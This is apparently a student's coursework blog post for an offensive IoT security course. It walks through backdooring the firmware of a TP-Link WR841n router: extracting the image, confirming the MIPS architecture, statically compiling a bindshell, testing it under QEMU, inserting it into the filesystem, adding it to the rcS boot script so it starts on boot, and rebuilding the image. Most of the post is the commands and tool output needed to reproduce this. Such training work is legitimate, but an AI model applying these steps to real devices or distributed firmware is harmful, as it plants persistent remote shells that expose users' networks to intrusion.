This blog post has been created for completing the requirements of the SecurityTube Offensive Internet of Things course.

http://www.securitytube-training.com/online-courses/offensive-internet-of-things- exploitation/index.html

Student ID: IoTE-728

 

In this post I am going to create a backdoored firmware. I am going to use the firmware of my TP-Link WR841n v11 router. The original firmware can be downloaded from here.

These are the steps of backdooring the firmware:

  1. Extract the firmware with Firmware-Mod-Kit
  2. Check the architecture
  3. Compile the source code according to the determined architecture
  4. Optionally test the compiled backdoor with Qemu
  5. Insert the compiled binary into the extracted firmware
  6. Modify the startup scripts to start the backdoor
  7. Rebuild the firmware

 

I downloaded the firmware from the above mentioned link and unzipped it. The zip file contained several files. Among these files were the real firmware image file, wr841n(EU)_v11_160325.bin. I copied this file into the folder of Firmware-Mod-Kit and extracted it with the following command line:

$ ./extract-firmware.sh wr841n\(EU\)_v11_160325.bin

output_of_extract

Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake

Scanning firmware...

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             TP-Link firmware header, firmware version: 0.-15276.3, image version: "", product ID: 0x0, product version: 138477585, kernel load address: 0x0, kernel entry point: 0x80002000, kernel offset: 4063744, kernel length: 512, rootfs offset: 849290, rootfs length: 1048576, bootloader offset: 2883584, bootloader length: 0
13424         0x3470          U-Boot version string, "U-Boot 1.1.4 (Mar 25 2016 - 16:59:44)"
13472         0x34A0          CRC32 polynomial table, big endian
14784         0x39C0          uImage header, header size: 64 bytes, header CRC: 0x85572A9C, created: 2016-03-25 08:59:46, image size: 35924 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0xADACFD5C, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "u-boot image"
14848         0x3A00          LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 93944 bytes
131584        0x20200         TP-Link firmware header, firmware version: 0.0.3, image version: "", product ID: 0x0, product version: 138477585, kernel load address: 0x0, kernel entry point: 0x80002000, kernel offset: 3932160, kernel length: 512, rootfs offset: 849290, rootfs length: 1048576, bootloader offset: 2883584, bootloader length: 0
132096        0x20400         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2495224 bytes
1180160       0x120200        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2776683 bytes, 596 inodes, blocksize: 131072 bytes, created: 2016-03-25 09:24:22

Extracting 1180160 bytes of tp-link header image at offset 0
Extracting squashfs file system at offset 1180160
Extracting squashfs files...
Firmware extraction successful!
Firmware parts can be found in '/home/oit/tools/firmware-mod-kit/wr841n(EU)_v11_160325/*'

The firmware was extracted into the folder wr841n(EU)_v11_160325. The rootfs folder under this folder is the root of the file system. I checked the architecture:

$ readelf -h bin/busybox

output_of_readelf

ELF Header:
  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           MIPS R3000
  Version:                           0x1
  Entry point address:               0x405240
  Start of program headers:          52 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x70001007, noreorder, pic, cpic, o32, mips32r2
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         9
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0

Busybox can be found on most of the embedded/IoT device firmware and is a good candidate to test the architecture. The architecture is MIPS big endian.

 

I installed buildroot and configured big endian MIPS architecture. I compiled a bindshell with buildroot. -static arguments means that the compiler uses static libraries, so that the binary will not depend on any dynamic library, however its size will be bigger.

$ cd buildroot-2015.11.1/output/host/usr/bin
$ ./mips-buildroot-linux-uclibc-gcc bindshell.c -static -o bindshell

 

I set the executable flag (although it was not necessary as it was already set) and copied the compiled bindshell into the firmware filesystem, under the usr/bin folder.

$ sudo chmod +x ~/bindshell
$ sudo cp ~/bindshell usr/bin

 

Before I went forward, I tested the compiled backdoor. I copied the qemu-mips-static under the rootfs folder and started the binary.

$ sudo cp /usr/bin/qemu-mips-static
$ sudo chroot . ./qemu-mips-static usr/bin/bindshell

backdoor1

The binary worked well, so that I removed qemu-mips-static.

 

etc/rc.d/rcS is the start script which runs when the device boots up. I added a line at the end of the script which starts the bindshell.

etc/rc.d/rcs

#!/bin/sh

# This script runs when init it run during the boot process.
# Mounts everything in the fstab

mount -a
#mount -o remount +w /

#
# Mount the RAM filesystem to /tmp
#

mount -t ramfs -n none /tmp
mount -t ramfs -n none /var

export PATH=$PATH:/etc/ath

#insmod /lib/modules/2.6.15/net/ag7100_mod.ko
#insmod /lib/modules/2.6.15/net/ag7240_mod.ko

#
# Set lo eth1 up
#
ifconfig lo 127.0.0.1 up
#ifconfig eth1 up

#
# insert netfilter/iptables modules
#

/etc/rc.d/rc.modules

#
# Start Our Router Program
#

/usr/bin/httpd &

echo 524288 > /proc/sys/net/ipv4/ipfrag_high_thresh

echo 1 > /proc/sys/net/netfilter/nf_conntrack_tcp_be_liberal

#for SMB memory fragment
echo 3 >/proc/sys/vm/dirty_background_ratio
echo 75 >/proc/sys/vm/dirty_ratio
echo 200 >/proc/sys/vm/vfs_cache_pressure

/usr/bin/bindshell &

Finally I recompiled the firmware.

$ ./build-firmware.sh wr841n\(EU\)_v11_160325 -nopad -min

output_of_build_firmware

Firmware Mod Kit (build) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake

Building new squashfs file system... (this may take several minutes!)
Squashfs block size is 128 Kb
Parallel mksquashfs: Using 2 processors
Creating 4.0 filesystem on /home/oit/tools/firmware-mod-kit/wr841n(EU)_v11_160325/new-filesystem.squashfs, block size 131072.
[===============================================================-] 456/456 100%

Exportable Squashfs 4.0 filesystem, lzma compressed, data block size 131072
	compressed data, compressed metadata, compressed fragments, compressed xattrs
	duplicates are removed
Filesystem size 2757.91 Kbytes (2.69 Mbytes)
	26.45% of uncompressed filesystem size (10425.66 Kbytes)
Inode table size 4335 bytes (4.23 Kbytes)
	22.39% of uncompressed inode table size (19360 bytes)
Directory table size 5698 bytes (5.56 Kbytes)
	42.69% of uncompressed directory table size (13347 bytes)
Number of duplicate files found 10
Number of inodes 597
Number of files 410
Number of fragments 31
Number of symbolic links  78
Number of device nodes 69
Number of fifo nodes 0
Number of socket nodes 0
Number of directories 40
Number of ids (unique uids + gids) 1
Number of uids 1
	root (0)
Number of gids 1
	root (0)
Padding of firmware image disabled via -nopad
Processing 3 header(s) from /home/oit/tools/firmware-mod-kit/wr841n(EU)_v11_160325/new-firmware.bin...
Processing header at offset 0...sorry, this file type is not supported.
checksum update(s) failed!
Processing header at offset 14784...checksum(s) updated OK.
Processing header at offset 131584...sorry, this file type is not supported.
checksum update(s) failed!
CRC(s) updated successfully.

Correcting TP-Link firmware image ... [tpl-tool] WARNING: Unknown device (0x08410011).
[tpl-tool] WARNING: Component files may not be valid.
[tpl-tool] WARNING: Invalid Image Checksum.
[tpl-tool] WARNING: Component files may not be valid.
[tpl-tool] WARNING: Invalid Image2 Checksum.
[tpl-tool] WARNING: kernel/rootfs files may not be valid.
Image file "/home/oit/tools/firmware-mod-kit/wr841n(EU)_v11_160325/new-firmware.bin" successfully extracted.
[tpl-tool] WARNING: Unknown device (0x08410011).
[tpl-tool] WARNING: Using image size from header.
Image file "/home/oit/tools/firmware-mod-kit/wr841n(EU)_v11_160325/new-firmware.bin-new" successfully rebuilt.
Filename           : /home/oit/tools/firmware-mod-kit/wr841n(EU)_v11_160325/new-firmware.bin
Filesize           : 0x003e0200 / 4063744

Image Vendor       : TP-LINK Technologies
Image Version      : ver. 1.0
Image Size         : 0x003e0200 / 4063744
Image Checksum     : ac a7 eb fe 3d a3 57 d1 bb d1 83 3c 60 0a ce 26  (Valid)

Product Id         : 0x08410011  (Unknown)
Product Version    : 0x00000001
Firmware Version   : 3.16.9

Bootldr Offset     : 0x00000000 /       0
Bootldr Length     : 0x0000c454 /   50260

Image2 Size        : 0x003c0000 / 3932160
Image2 Checksum    : 7f 07 47 80 27 6f 2d 55 41 18 56 f1 98 03 03 18  (Valid)

Kernel Offset      : 0x00000200 /     512
Kernel Length      : 0x000cf58a /  849290
Kernel Load Address: 0x80002000
Kernel Entry Point : 0x801cd810
Kernel Checksum    : 53 52 25 31 d8 2e 1b 0e d1 98 97 33 57 bf 16 be  (Not Verified)

Rootfs Offset      : 0x00100000 / 1048576
Rootfs Length      : 0x002c0000 / 2883584
Done
Finished! 
New firmware image has been saved to: /home/oit/tools/firmware-mod-kit/wr841n(EU)_v11_160325/new-firmware.bin

The backdoored firmware is created with the name new-firmware.bin. I renamed it to wr841_backdoor.bin and uploaded to the device to test it.

backdoor2